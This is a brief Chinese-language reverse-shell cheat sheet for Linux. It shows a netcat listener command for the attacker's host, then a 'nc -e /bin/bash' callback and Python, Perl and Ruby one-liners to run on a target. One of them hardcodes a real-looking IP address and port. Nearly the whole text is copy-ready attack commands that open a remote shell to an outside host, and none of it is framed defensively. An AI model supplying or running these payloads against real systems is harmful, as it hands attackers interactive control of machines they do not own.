linux反弹shell

linux反弹shell

在攻击主机上执行端口监听：

nc -lvvp port //port 为攻击主机端口号，并且此端口号没有被占用

在目标主机上执行：

nc -e /bin/bash 攻击主机ip port，

 

常见脚本反弹

1. python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

 

2. perl

perl -e '
use Socket;
$i="121.5.112.123";
$p=1234;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'

 3. Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'